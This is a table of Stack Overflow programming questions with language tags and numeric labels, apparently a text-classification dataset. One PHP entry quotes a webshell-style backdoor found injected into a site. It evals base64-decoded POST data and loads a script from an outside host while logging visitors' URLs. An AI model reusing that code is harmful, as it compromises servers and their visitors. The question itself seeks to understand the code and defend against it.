Unnamed: 0 int64 65 6.03M | Id int64 66 6.03M | Title stringlengths 10 191 | input stringlengths 23 4.18k | output stringclasses 10 values | Tag_Number stringclasses 10 values |
|---|---|---|---|---|---|
1,796,890 | 1,796,891 | Display single row of object data in a datagridview after selecting an item from combo box | <p>I have a class <code>Person</code> with data members <code>fullName</code>, <code>adress</code>, <code>occupation</code>.</p>
<p>I made a <code>List</code> of the type <code>Person</code> and stored inside of it a couple of objects of type <code>Person</code>.</p>
<p>There's a combo box, and a datagridview on my Windows Forms GUI.</p>
<p>What I wanted to do is when you select an item from the combo box(it gets populated automatically with <code>Persons</code> objects from the <code>List</code>) datagridview displays a single row, showing the currently selected item's <code>fullName</code> and <code>address</code>.</p>
<p>For getting the information about a person from the list I use a method I created - <code>PersonInfo(string id)</code>. This method returns the <code>Person</code> object. Then I use that object like so:</p>
<pre><code>private void combobox_SelectedValueChanged(object sender, EventArgs e)
{
Person myObj = PersonInfo(combobox.SelectedText.ToString());
dataGridView1.Rows.Clear();
int index = dataGridView1.Rows.Add();
DataGridViewRow row = dataGridView1.Rows[index];
row.Cells["cFullName"].Value = myObj.fullName;
row.Cells["cAddress"].Value = myObj.address;
}
</code></pre>
<p>Problem is I get a null exception which is usually located at the line <code>row.Cells["cFullName"].Value = myObj.fullName;</code>. I think <code>combobox.SelectedText.ToString()</code> is what causing this but don't know which other method to use to grab info from combo box and pass it to the <code>PersonInfo</code>.</p>
| c# | [0] |
1,211,025 | 1,211,026 | how to get html web page? | <p>I have to extract some information from html web page which contains the following table : </p>
<pre><code>//Http://www.example.com/12.html
//<html ... >
<table>
<tr>
<td>HIIIIIIIIIII</td> // this is what I need from this page
</tr>
<tr><td>bla bla bla</td></tr>
</table>
</code></pre>
<p>any Ideas ?<br> Thank u </p>
| c# | [0] |
125,412 | 125,413 | HashSet doesnt guarentee sorting? | <pre><code>import java.util.*;
public class DuplicateCheckMain {
public static void main(String[] gopal){
Integer[] args = {6,9,2,55,100,1,6,8,9};
Integer[] args1 = {3,6,2,3,5};
Set S = new HashSet();
DuplicateCheck.checkDuplicate(S,args,new String("HashSet"));
Set S1 = new HashSet();
DuplicateCheck.checkDuplicate(S1,args1,new String("HashSet"));
S = new TreeSet();
DuplicateCheck.checkDuplicate(S,args,new String("TreeSet"));
S = new LinkedHashSet();
DuplicateCheck.checkDuplicate(S,args,new String("LinkedHashSet"));
}
}
public class DuplicateCheck {
public static void checkDuplicate(Set S, Integer[] args, String setname){
for(int i = 0;i<args.length;i++){
if(!S.add(args[i])){System.out.println("Duplicate element "+args[i]);}
}
System.out.println(S +" "+ setname);
}
}
</code></pre>
<p>Question: for the HashSet with reference S, the HashSet is not sorted. But for the reference S1, the HashSet is sorted. Why so?</p>
| java | [1] |
2,163,161 | 2,163,162 | How can I iterate through all my checked checkboxes? | <p>My site has the following:</p>
<pre><code><td><input id="inp_0001010030" type="checkbox"></td>
<td><input id="inp_0001010031" type="checkbox"></td>
<td><input id="inp_0001010032" type="checkbox"></td>
<td><input id="inp_0001010033" type="checkbox"></td>
<td><input id="inp_0001010034" type="checkbox"></td>
</code></pre>
<p>These are created dynamically.</p>
<p>And a form that's at the bottom of the page outside of the area with the above rows:</p>
<pre><code><form action="??" method="??" >
<input value="Action" type="submit">
<select id="SelectedAction" >
<option value="1">Delete</option>
<option value="2">Move</option>
</select>
</form>
</code></pre>
<p>After the rows have been created I need to have the clicked event the form button go look at each checkbox and then call a javascript function with the id and the value of SelectedAnswer for each checkbox that it finds checked. </p>
<p>Note that if there is a way to do this without the form then it's even better. I just don't know enough about jQuery.</p>
<p>Is this the kind of thing I can do easily with jQuery?</p>
| jquery | [5] |
1,893,217 | 1,893,218 | Java Matcher format for the string #xxx# | <p>I have to get the string which contains in between the symbols #(String)#.</p>
<p>How can I achieve it?</p>
| java | [1] |
2,673,516 | 2,673,517 | get_object_vars returns NULL | <p>This line:</p>
<pre><code>var_dump($data['department']);
</code></pre>
<p>returns this:</p>
<pre><code>object(Penny\HomeBundle\Entity\Department)[1420]
protected 'id' => int 37
protected 'name' => string 'Support' (length=7)
protected 'email' => string 'denis_nizetic@hotmail.com' (length=25)
</code></pre>
<p>When I try to do </p>
<pre><code>var_dump(get_object_vars($data['department']));
</code></pre>
<p>I get</p>
<pre><code>array
empty
</code></pre>
<p>I have no idea why does this happen if the object is there.</p>
<p>Edit: I fixed my problem with using $obj->getValue() methods (getters).</p>
<p>But the question is still there: why won't get_object_vars() work?</p>
| php | [2] |
859,281 | 859,282 | Conditional on time difference to show a specific message only when the row didn't started yet | <p>These are the inputs an database rows</p>
<pre><code>$current 2012-07-26 15:30:00
1st $row['start'] 2012-07-26 14:00:00
2nd $row['start'] 2012-07-26 17:00:00
</code></pre>
<p>When I run the following code with the above current time, I get correctly the "Starts soon" for the 2nd row, but also I get it mistakenly on the 2nd row that it <em>already</em> started.</p>
<p>How do I edit this code to return me the "Starts soon" message only to the rows that <em>will</em> start in the next two hours?</p>
<pre><code>$diff = strtotime($row['start']) - strtotime($current);
if ($diff < 7200) {
echo 'Starts soon';
} else if ($diff <= 0) {
echo 'Started';
} else {
echo 'Starts';
}
</code></pre>
| php | [2] |
2,090,911 | 2,090,912 | Why threading is not performing correctly in c#? | <p>Hi I have a method like below:</p>
<pre><code>void Foo
{
MethodInvoker method=delegate{
frm2 frm=new frm2();
frm.show();
}
</code></pre>
<p>and I have a datagridview control inside this form which does a heavy loading from DB and loads data inside this datagridview in frm2.</p>
<p>the problem is that the main thread(form1 thread) is freezed at time when the data is attached to datagridview in frm2.Why is this happening.</p>
<p>I created two different projects and separate frm2 and form1 in these 2 projects and the results are ok and no freeze is happening to none of them.</p>
| c# | [0] |
2,603,247 | 2,603,248 | How many options can I include in a bit mask? | <p>In <a href="http://stackoverflow.com/questions/13095354/32-bit-integer-mask">this question</a> it was pointed out that: </p>
<blockquote>
<p>Using int [for bit mask] is asking for trouble</p>
</blockquote>
<p>I have been using an <code>unsigned char</code> to store bitmask flags, but it occurs to me that I will hit low limit since a char is only a byte, thus 8 bits, thus only 8 options in my mask?</p>
<pre><code>enum options{
k1=1<<0,
k2=1<<1,
.... through to k8
}
unsigned char myOption=k2;
</code></pre>
<p>Do I simply need to make <code>myOption</code> an <code>int</code> or some other type for example if I wish it to store more than 8 possible options (and combinations of options, of course, hence why I am using the bit mask in the first place)? What's the best type?</p>
| c++ | [6] |
673,528 | 673,529 | What is the scope of these variables? | <p>Please see the C++ code fragment below:</p>
<pre><code>#include .....
Class1 class1;
Class2 class2;
...
void Class3::foo() {
...
}
</code></pre>
<p>What are the variables: class1 and class2? Are they global variables? Static variables? What actually are these? In C++ OO programming, is it good practice to use these because any member function of any class in the file can access them? </p>
<p>Sorry for the beginner's question.</p>
<p>Thanks.</p>
| c++ | [6] |
4,469,892 | 4,469,893 | PHP: How do i remove an element from a multidemision array? | <p>I have this code to add new elements to a multidimension array:</p>
<pre><code>$this->shopcart[] = array(productID => $productID, items => $items);
</code></pre>
<p>So how do i remove an element from this array? I tried this code, but its not working:</p>
<pre><code>public function RemoveItem($item)
{
foreach($this->shopcart as $key)
{
if($key['productID'] == $item)
{
unset($this->shopcart[$key]);
}
}
}
</code></pre>
<p>I get this error:</p>
<ul>
<li><b>Warning</b>: Illegal offset type in unset in <b>C:\xampplite\htdocs\katrinelund\classes\TillRepository.php</b> on line <b>50</b><br /></li>
</ul>
| php | [2] |
4,782,683 | 4,782,684 | What this php script will do ? is it Malicious php Code? | <p>Can Someone Please advise what this php code will do ? i have php found this code on every .php pages only , other pages like js / css / php.ini they are fine.. is this malicious code ? if yes please suggest how to prevent them ?</p>
<p>Here is the Code,</p>
<pre><code>global $sessdt_o;
if(!$sessdt_o) {
$sessdt_o = 1;
$sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f);
} else {
echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
}
} else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f);
} else {
echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
}
$sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
</code></pre>
| php | [2] |
1,970,231 | 1,970,232 | Build Contacts Application using Android SDK | <p>I am trying to build default Contacts application from Source code using Android SDK (i.e. Eclipse & ADT) as I wanted to add some more options into contact details (which are specific to my requirement). But it's giving me some compilation errors as android.jar is not having all the classes required to build this application.
Please tell me how can I achieve this.</p>
<p>Thanks,
Parag </p>
| android | [4] |
4,390,085 | 4,390,086 | notification in social network application | <p>I am currently working on application like social networking. In this application if one user sends message or add request to any other user,so how can i achieve that.</p>
<p>For example,
There are two users,USER A & USER B. If USER A sends message to USER B, then the USER A should get the notification in his profile immediately.</p>
<p>So what should be the functionality at USER A side & USER B side. Please give me some idea for this.</p>
| android | [4] |
5,355,549 | 5,355,550 | Java string to math equation | <p>I need to implement function <code>public int eval(String infix) {...}</code>
and when I use this like this:</p>
<pre><code>eval("3+2*(4+5)")
</code></pre>
<p>I must receive 21. </p>
<p>The arithmetic expression can contain '+', '*' and parentheses.</p>
<p>So, how can I convert this to math equation? <strong>I can't use non-standard libs.</strong></p>
<p><strong>UPDATE:
Solution found.</strong></p>
<p><strong>It is 2 way: Polish Notation and using ScriptEngine.</strong></p>
<hr>
| java | [1] |
2,284,432 | 2,284,433 | Java Error 'else' without 'if' | <p>I need to have the largest number displayed of three given numbers. 'Z' should be displayed as 25 is the largest number. Anyway, while compiling this shows up. <img src="http://i.stack.imgur.com/ga5UH.png" alt="Error Message"></p>
<p>I have no idea how to fix it, the examples I am given in my lessons are incorrect and when looking online most other code is way more complicated than mine and are of little help.
My code is as follows: </p>
<pre><code>class Greater
{
public static void main(String args[])
{
int x = 10, y = 5, z = 15;
if (x>y) and (x>z);
{
System.out.println(x);
}
else if(y>z);
{
System.out.println(y);
}
else
{
System.out.println(z);
}
}
}
</code></pre>
| java | [1] |
5,829,572 | 5,829,573 | How to remove folder path within zip file.I want only txt files in zip file | <p>I am created the zip file in this path "D:\Nagaraj\Dotnet\Zipfile\Zipfile\Filebuild\Hi.zip". But within this Hi.zip file creating the folders "D:\Nagaraj\Dotnet\Zipfile\Zipfile\Filebuild\Hi" after that added 2 txt files showing....So I need to remove folder path in zip file ...I am using following code and sharpziplib library...thanks in advance.</p>
<pre><code>*enter code here*
StartZip("D:/Nagaraj/Dotnet/Zipfile/Zipfile/Filebuild/Hi/", Server.MapPath("Filebuild/Hi.zip"));
public void StartZip(string directory, string zipFileName)
{
ZipFile z = ZipFile.Create(zipFileName);
z.BeginUpdate();
string[] filenames = Directory.GetFiles(directory);
foreach (string filename in filenames)
{
z.Add(filename);
string s = Path.GetFileName(filename);
}
z.CommitUpdate();
z.Close();
}
</code></pre>
| asp.net | [9] |
2,708,752 | 2,708,753 | Listening for ACTION_SCREEN_OFF on Android | <p>I'm trying to start a service that runs in the background that is listening for <code>ACTION_SCREEN_OFF</code> and when it finds <code>ACTION_SCREEN_OFF</code>, starts my activity.</p>
<p>I read somewhere you need to create a <em>BroadcastReceiver</em> because putting it in the manifest XML doesn't work. However I have no idea where to get started after much searching.</p>
| android | [4] |
4,933,643 | 4,933,644 | How do I get the contents (inner html) of an element except the last and penultimate children? | <p>So I have something like this:</p>
<p><code><span class="a"> Contents <span class="b">Herp</span><br></span></code></p>
<p>...where the <strong>"contents" may vary from a <em>string</em>, to a <em>single image</em> to <em>multiple linebreaks</em></strong>. I need to define the "contents" as a variable without getting the b.span and br.</p>
<p>How do you do it? Thank you very much in advance!</p>
| jquery | [5] |
5,543,046 | 5,543,047 | Get variable names with JavaScript | <p>I want to create a log function where I can insert variable names like this:</p>
<pre><code>var a = '123',
b = 'abc';
log([a, b]);
</code></pre>
<p>And the result should look like this in the console.log</p>
<pre><code>a: 123
b: abc
</code></pre>
<p>Get the value of the variable is no problems but how do I get the variable names? The function should be generic so I can't always assume that the scope is window. </p>
| javascript | [3] |
5,587,464 | 5,587,465 | Perform any functions passed through the data tag | <p>I intend on passing through some callback functions I need to tap into through a data tag.</p>
<pre><code><div data-callback-functions="function01(),function02(),function03()"></div>
</code></pre>
<p>How can I grab these functions passed through and perform them in order? I assume I'm allowed to use brackets for the functions within the data-tag?</p>
| jquery | [5] |
4,897,806 | 4,897,807 | JFrame action listener - Erron | <p>I have create a Java application using xcode. In that application i am getting the error in the following declaration -</p>
<p>Public class testapp extends JFrame implements ActionListener{}</p>
<p>the error is -
"testapp is not abstract & does not override abstract method actionPerformed (java.awt.event_ActionEvents) in java.awt.events_ActionListener"</p>
| java | [1] |
2,535,660 | 2,535,661 | asp.net handle page early? | <p>In my <strong>Application_BeginRequest</strong> I have a list of things I check for rewriting purposes. At the very end I rewrite all paths to default.aspx which then simply has the following</p>
<pre><code><%@ Page Language="C#" EnableSessionState="False"%>
<%@ Import Namespace="MyWebsite"%>
<% PageRequest.WritePage();%>
</code></pre>
<p>There probably no (aka nearly nonexistent) overhead but I'll ask anyways. Instead of rewriting, can I just call <strong>WritePage</strong> instead?</p>
| asp.net | [9] |
5,948,787 | 5,948,788 | IPhone Developer 'Standard Company' Program Question | <p>Hi I'm considering between the 'standard individual' or 'standard company' program both for $99.</p>
<p>My question is, in order for me to open the business program do I need to have the
business registered legally (corp, LLC, etc?) or can I just put any business name
i.e "sweet potato studios" or something and I'm good to go? (sorry for my ignorance)
I'd ofcourse rather have a business name than a real name appearing in the app store, but on the other hand I don't want to go through the headache of opening an LLC or whatever. not yet anyway.</p>
| iphone | [8] |
3,656,227 | 3,656,228 | shift operation in gmp library | <p>I have to perform left shift and right shift and i am using gmp library.</p>
<p>I used code</p>
<pre><code>#include<gmp.h>
mpz_t t;
mpz_init2(t,125);
mpz_set_ui(t,31);
mpz_mul_2exp(t , t , 35);
</code></pre>
<p>It give me value of t is zero. Can anyone please help me.</p>
| c++ | [6] |
1,319,975 | 1,319,976 | Object Arrays in Console Application | <p>I want to create an array of users in a console app but cant seem to get it right, can anyone please help, here is my code.</p>
<pre><code>class Program
{
static void InputUser(User U)
{
Console.WriteLine("Please enter a User:");
Console.WriteLine("User ID:");
U.ID = int.Parse(Console.ReadLine());
Console.WriteLine("Titel:");
U.Titel = Console.ReadLine();
Console.WriteLine("Name:");
U.Name = Console.ReadLine();
Console.WriteLine("Surname:");
U.Surname = Console.ReadLine();
Console.WriteLine("Telephone Number:");
U.Telephone = int.Parse(Console.ReadLine());
Console.WriteLine();
}
static void Main()
{
User[] users = new User[2]
{
InputUser(new User);
}
}
}
</code></pre>
| c# | [0] |
1,925,205 | 1,925,206 | how to read latest mail from gmail using imap in php | <p>I want to read the latest mail from gmail having all replies in 1 mail. I am having a mail like,</p>
<pre><code>a5ew4rf564w56456sda4fe4ar
On Fri, Mar 30, 2012 at 3:17 AM, DEMO <demo@example.com> wrote:
54545646598789465489+
On Fri, Mar 30, 2012 at 3:17 AM, DEMO <demo@example.com> wrote:
jwehriuhwekmwjed
On Fri, Mar 30, 2012 at 3:17 AM, DEMO <demo@example.com> wrote:
sadjfksaef
On Fri, Mar 30, 2012 at 3:16 AM, DEMO <demo@example.com> wrote:
he!!
On Fri, Mar 30, 2012 at 3:13 AM, Nobody <nobody@host.example.com> wrote:
rohan@walkover.in
new message from sales
--
Thanks & Regards
ABC
--
Thanks & Regards
ABC
--
Thanks & Regards
ABC
--
Thanks & Regards
ABC
--
Thanks & Regards
ABC
</code></pre>
<p>Then I want only the last mail which is <code>a5ew4rf564w56456sda4fe4ar</code> sent by demo I used <code>imap_fetchbody</code> which gives the whole mail according to the <code>uid</code>. So How Can I fetch the last mail.</p>
| php | [2] |
1,424,005 | 1,424,006 | Writing a model for a user (php) | <p>I have a users model that has a lot of properties such as first_name, last_name, email, address, address2...etc</p>
<p>I am writing a php class to manage these properties, but it seems like I am writing a lot of the same code. (Getters and setters). Should I use magic methods to manage this? It seems like an OK idea, but I don't want incorrect properties being set. Any ideas?</p>
<pre><code><?php
class User
{
private $username;
private $email
private $first_name;
private $last_name;
private $address;
private $address2;
function __construct()
{
}
function getUsername()
{
return $this->username
}
function setUsername($username)
{
$this->username = $username;
}
...
}
?>
</code></pre>
| php | [2] |
5,044,558 | 5,044,559 | PHP - Multiple files Vs single file | <p>I have been playing about with an Ajax/PHP site and I am wondering about the best practices concerning calls to multiple PHP files Vs a single PHP file with many functions in it.</p>
<p>All of these calls are simple database access calls - returning data from a query. It seems a sensible thing to have a single file that opens the database and contains multiple functions, one for each of the calls, however I do not know the best practices in this instance and I am unaware of any security concerns that there may be.</p>
<p>Does anyone know the best practice in this case?</p>
<p>Cheers</p>
<p>BK</p>
| php | [2] |
5,180,853 | 5,180,854 | How to select image in round shape from the iphone photo library | <p>I am open iphone photo library from the my application.And i am selecting photo in squre shape.Its fine.But i want select photo in round shape.How it possible?</p>
| iphone | [8] |
22,106 | 22,107 | If statement in Javascript? | <p>Is this code correct?</p>
<pre><code>if(!($('textarea: name').val().length == 0)) {
alert("test");
}
</code></pre>
<p>I want to check if there is something written or not inside the textarea field in the form? I ask because it's not working!?</p>
| javascript | [3] |
741,807 | 741,808 | Is jQuery .data() retained during postback? | <p>If you store a value in jQuery.data()</p>
<pre><code>$('#customerName').data('cname','test');
</code></pre>
<p>then postback the page will the value in .data() be available when the page reloads?</p>
<p>Thanks</p>
| jquery | [5] |
433,226 | 433,227 | jquery: bind 2 events | <p>I have a div called MyDiv. How do I call 2 functions one after the other when the user clicks it? </p>
<pre><code>$('#MyDiv').click(function () {action1()//wait until it finishes and call action2
</code></pre>
<p>Action1 is a function in a script that's loaded in my master page and action2() is a small inline script function that's different in every page which means I can't call action2 from action1 because the name action2 will actually be different on every page. </p>
<p>Thanks.</p>
| jquery | [5] |
529,523 | 529,524 | Is there a more efficient way to do this.( Show Hide Divs / Hide Previously shown Div)? | <p>I am unfortunately not the best Jquery programmer but I thought I would give this a try to see what i could come up with. It works however I don't think it is the best way to accomplish what i am after.</p>
<p>HTML MARKUP:</p>
<pre><code><ul class="top-menu">
<li><a href="#" class="drop">Sign In</a>
<div id="panel_1" class="panel left">
CONTENT 1
</div>
</li>
<li><a href="#" class="drop">Register</a>
<div id="panel_2" class="panel left">
CONTENT 2
</div>
</li>
</code></pre>
<p></p>
<p>JQuery Code:</p>
<pre><code>$(document).ready(function () {
var visId = null;
$(".top-menu li a.drop").click(function () {
var parent = $(this).parent();
var panel = $(parent).find("div.panel");
if ($(visId) != null && $(visId).is(":visible")) {
if ($(visId).attr("id") != $(panel).attr("id")) {
$(visId).slideUp("fast");
}
}
$(panel).slideDown(function () {
$(this).slideDown();
visId = $(this);
});
});
});
</code></pre>
| jquery | [5] |
893,758 | 893,759 | Java Pass by value | <blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="http://stackoverflow.com/questions/498747/java-pass-by-value-reference-variables">Java, pass-by-value, reference variables</a> </p>
</blockquote>
<p>Consider the following simple java program</p>
<pre><code>class main{
public static void main(String args[]){
int x = 5;
change(x);
System.out.println(x);
}
static void change(int x){
x = 4;
}
}
</code></pre>
<p>Since java uses pass by value the value of x will not change in the main..To overcome this problem we have the concept of pass by reference in c..But i do not find any such concept in java..How can i really change the value of x..? If there is no way of changing x then is this not a disadvantage of java?</p>
| java | [1] |
1,106,261 | 1,106,262 | Choosing Java tools (IDE and compiler) for beginners | <p>I stumbled across this:</p>
<p><a href="http://en.literateprograms.org/Vending%5FMachine%5F%28java%29" rel="nofollow">http://en.literateprograms.org/Vending_Machine_%28java%29</a></p>
<p>It is a java vending machine, I want to read it and also follow along, write the same code.</p>
<p>What's the fastest way to get java setup such that I can just start coding the java vending machine as I read along?</p>
<p>I was in the process of downloading the Java SE Development Kit 6u17 for Windows, Multi-language, when I looked to the right hand side of the same page and just realized that I can also download Netbeans.</p>
<p><strong>Again, the question is what's the best java IDE or compiler that a newb like me can use to do the java vending machine linked to above.</strong></p>
<p>Or </p>
<p><strong>What are the java programmers using to code java with?</strong></p>
<p>I am new to java, C++ is easy to install and start coding, likewise so is PHP, but java just seems like an interesting new beast to me, thank you for not flaming.</p>
| java | [1] |
5,922,895 | 5,922,896 | expected constructor, destructor, or type conversion before string constant | <p>I am only in the beginning steps of this program but I like to compile as I am making code. Also I am very new with ADTs so when making this code I ran into some problems that I have no idea what they mean.</p>
<p>Expression.h </p>
<pre><code>#include "header.h" //Library that contains thing like iomanip, cstring, etc.
class Expression
{
private:
char *ieEXP; //Array of characters
char *peEXP; //Array of characters
const int MAX = 40; //Max size for the array
public:
//Initialize both arrays to 0
Expression(){ieEXP[MAX] = {0}, peEXP[MAX] = {0}};
Expression(const Expression &);
//Destroy contents within the array after program completes
~Expression(){ieEXP[MAX] = {0}, peEXP[MAX] = {0}};
//void ReadInFix(char *ieEXP);
//void PrintInFix(char *ieEXP);
//void StrCatch();
//bool IsOperator();
//void IntoPostFix(char *peEXP);
//void PrintPostFix(char *peEXP);
//int Priority();
};
</code></pre>
<p>Compilation</p>
<pre><code>g++ -c Expression.h
</code></pre>
<p>This is the exact error that I get</p>
<pre><code>Expression.h:1: error: expected constructor, destructor,
or type conversion before string constant
</code></pre>
<p>Also other methods have not been used yet simply just creating the class right now, and int main has not called anything yet. </p>
<p>Thank you.</p>
| c++ | [6] |
1,844,326 | 1,844,327 | How to prevent multiple clicks in div in-out animation | <p>I want to move div in and out on click of it. I just animate the div like</p>
<pre><code><head>
<title>Title</title>
<style type="text/css" media="screen">
.slide-out-div {
position:relative;
background: none repeat scroll 0 0 #F2F2F2;
border: 2px solid #29216D;
color: #666666;
font-size: 14px;
padding: 20px;
width: 250px;
left: -210px; }
</style>
</head>
<body>
<div class="slide-out-div">
<form>
<a class="handle" href="http://link-for-non-js-users">SEARCH</a>
<button id="myButton" type="submit" />
</form>
</div>
</body>
</code></pre>
<p>Here is the script</p>
<pre><code>$(document).ready(function(){
var visible = 0;
$(".slide-out-div").click(function() {
var $div = $(this);
if (visible == 0) {
$div.animate({left: "10px"}, "slow");
visible = 1;
} else {
$div.animate({left: "-210px"}, "slow");
visible = 0;
}
});
}); //end of $(document).ready(fn)
</code></pre>
<p>First i want to ask is my script ok? It is working but it doesn't mean it is efficient. Second when it is coming to or gone from then if user clicks on multiple times then i think the animation goes to animation queue and my div continuously animate.
I want that when user click on first time then the animation runs. Multiple clicks don't run. How can i prevent user multiple clicks?</p>
<p>Thank you.</p>
| jquery | [5] |
3,407,726 | 3,407,727 | jQuery - $this instead of $(this)? | <p>I think that i read something that said that it is better for code like this:</p>
<pre><code>var id1 = $(this).attr('id')
var id2 = $(this).parent().parent().parent().parent().parent().attr('id')
var text = $(this).text()
</code></pre>
<p>..to give one variable like <code>$this = $(this)</code> and then use it instead of every $(this). I don't know where i read this, so my question is that is it true?</p>
| jquery | [5] |
3,753,087 | 3,753,088 | Programatically add view one below other in relative layout | <p>I want something like this programatically:</p>
<pre><code>view1 | view2
view3 | view4
----------------
view1 | view2
view3 | view4
----------------
view1 | view2
view3 | view4
---------------
...........
......
which keeps repeating
--------------
</code></pre>
<p>I don't want to use ListView.</p>
| android | [4] |
3,762,431 | 3,762,432 | window.close() in sucess function | <p>I have a typical ajax post type with a success function.
I have tried in many different ways to close window on success.
But only after message is revealed and can be read.</p>
<pre><code>$.ajax({
type:"POST",
url:"file.php",
data:info,
success:function(){
$('#load').empty();
$('#information').html('Thank you!');
\\setTimeout('window.close()',2000); \\
}
});
return false;
</code></pre>
<p>Many thanks!</p>
<p><strong>Page is opened with "window.open()"</strong></p>
| jquery | [5] |
5,449,864 | 5,449,865 | javascript, how to set a var to a certain value then change it randomly | <p>i have this script:</p>
<pre><code>var randNum = Math.floor(Math.random() * 3);
if (randNum == 0){
alert ('0');
} else {
alert ('1');
}
</code></pre>
<p>and every time it runs i get a random value of 1 or 0</p>
<p>what i want is to always start the <code>randNum</code> var as being <code>0</code></p>
<p>any ideas?</p>
<p>thanks</p>
| javascript | [3] |
4,767,604 | 4,767,605 | jQuery UI Accordion and paging or expand/collapse with paging | <p>I'm after a jQuery UI Accordion and paging or expand/collapse with paging plugin.
Or any resources would be appreciated.
Thanks</p>
| jquery | [5] |
1,316,834 | 1,316,835 | How to display Text in Different languages in a single list view [Android] | <p>I need to display language selection Activity where I want to display List of supported Languages. </p>
<p>I want to display List of languages in the specific language either, English in English, French in French and Japanese in Japanese in one <code>ListView</code>. </p>
<p>I know how we can create multy language Application, using different <code>strings.xml</code> files.<br>
But don't have any idea, on how to display <code>ListView</code> in multiple languages. </p>
<p>Thanks.</p>
| android | [4] |
1,044,925 | 1,044,926 | I want to validate text filed witch contain only float value up two decimal places using javascript | <p>I want to validate text filed witch contain only float value up two decimal places. and not give any round of functionality
for example if I enter 19.999 then result will be 19.99 not 20.00</p>
<p>and if I enter 19.7 then result will be 19.70
if I enter 19 then result will be 19.00</p>
<p>toFixed function is not working in my code.</p>
<p>Thanks</p>
| javascript | [3] |
49,622 | 49,623 | Change the text color of multiple textviews from activity | <p>I want to change the text color of 10-15 <code>TextView</code>'s in my app, when a button is clicked. These text views are not on a single activity. Is there a way to implement this other than using the theme concept. </p>
| android | [4] |
5,718,084 | 5,718,085 | android: are non-manifest broadcast receivers exported? | <p>if i register a broadcast receiver say in my activity like this,</p>
<pre><code>@Override
protected void onResume() {
super.onResume();
myReceiver = new BroadcastReceiver() { ... };
IntentFilter filter = new IntentFilter("com.example.MY_ACTION");
registerReceiver(myReceiver, filter);
}
</code></pre>
<p>is this receiver exported? if another app broadcasts <code>com.example.MY_ACTION</code>, will it be received by <code>myReceiver</code>?</p>
<p>if it is, i assume i need to use the form of <code>registerReceiver()</code> that accepts a string permission, and then define that permission in my manifest, giving it a high protection level (such as signature). is that correct? is there a simpler way?</p>
<p>thanks.</p>
| android | [4] |
615,948 | 615,949 | Find a Control inside ASP:Repeater | <p>I am trying to access a control inside a Repeater. The control is inside the <ItemTemplate> tag. I am using FindControl but it's always coming out Null.
What am I doing wrong?</p>
| asp.net | [9] |
2,998,570 | 2,998,571 | Detect USB Drive in Java | <p>How can I detect when a USB drive is attached to a computer in Windows, Linux, or Mac?</p>
<p>The only way I have seen online to do this is to iterate the drives, but I don't think there is a very good way to do that cross-platform (e.g. File.listRoots() in Linux only returns "/"). Even in Windows this would cause problems reading from every device, such as a network drive that takes a long time to access.</p>
<p>There is a library called jUsb that sounds like it accomplishes this in Linux, but it doesn't work in Windows. There is also an extension to this called jUsb for Windows, but that requires users to install a dll file and run a .reg. Neither of these seem to be developed for several years, so I'm hoping a better solution exists now. They're also overkill for what I need, when I only want to detect if a device is connected that contains a file I need.</p>
<p>[Edit] Furthermore, jUsb apparently doesn't work with any recent version of Java, so this isn't even an option...</p>
<p>Thanks</p>
| java | [1] |
4,053,920 | 4,053,921 | C++ Variable Conversion | <p>I need to pass one of my parameters to a write() function. It is asking for a type of 'const void*' I am a PHP guy and don't know C++ very well. </p>
<p>Here is my parameter:</p>
<pre><code>const fmx::Text& distance = dataVect.AtAsText(3);
</code></pre>
<p>I don't know of any other way to pull in that field. I would love to just declare it const void* but I don't know how. </p>
<p>I guess just converting it would be easier than trying to pull it in the correct way??</p>
<p>The error message: cannot convert const fmx::Text to const void* for argument 2</p>
<pre><code>write(fd, distance, 4);
</code></pre>
<p>I know this worked so can I just convert?</p>
<pre><code>const void* s = "5000";
</code></pre>
<p>This is for a plugin in FileMaker so I don't really get c++ here.</p>
<p>Is there more anyone would need to help me solve this??</p>
<p>Thanks so much! </p>
| c++ | [6] |
5,930,496 | 5,930,497 | Android App Update programmatically | <p>I am trying to update an Android Application programmatically. All is working great, the Installation prompt is visible.
But if i run the Installation of the App it says: "Application not installed".
Any Ideas why it is not working?</p>
<p>Update progress:</p>
<pre><code>Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File("/sdcard/update.apk")), "application/vnd.android.package-archive");
startActivity(intent);
finish();
</code></pre>
| android | [4] |
3,499,400 | 3,499,401 | How can I better get a collection from a collection within a collection? | <p>As you can see from the code below am building up a collection of objects from within a list within a list. Wondering if there is a better way of writing this nasty method.</p>
<p>Cheers in Advance</p>
<pre><code>private List<ListINeed> GetListINeed(Guid clientId)
{
var listINeed = new List<objectType>();
someobject.All(p =>
{
p.subcollection.All(q =>
{
listINeed.Add(q.subObject);
return true;
});
return true;
});
return listINeed;
}
</code></pre>
| c# | [0] |
3,273,683 | 3,273,684 | detecting textbox change when changing the content programmatically | <p>I have a textbox that's linked to a jquery event handler like this:</p>
<pre><code>$('#SomeDiv').on({
mouseenter: ....
mouseleave: ....
blur: ....
keyup: function() { HandlerForKeyUp($(this)); } ,
change: function() { HandlerForKeyUp($(this)); }
}, '.MyTextBoxes');
</code></pre>
<p>Basically, <code>HandlerForKeyUp</code> is a function that shows a counter of the number of letters in the textbox. It works fine when the user is typing.</p>
<p>However, if I write this:</p>
<pre><code>$('#SomeTextBox').val(SomeValue);
</code></pre>
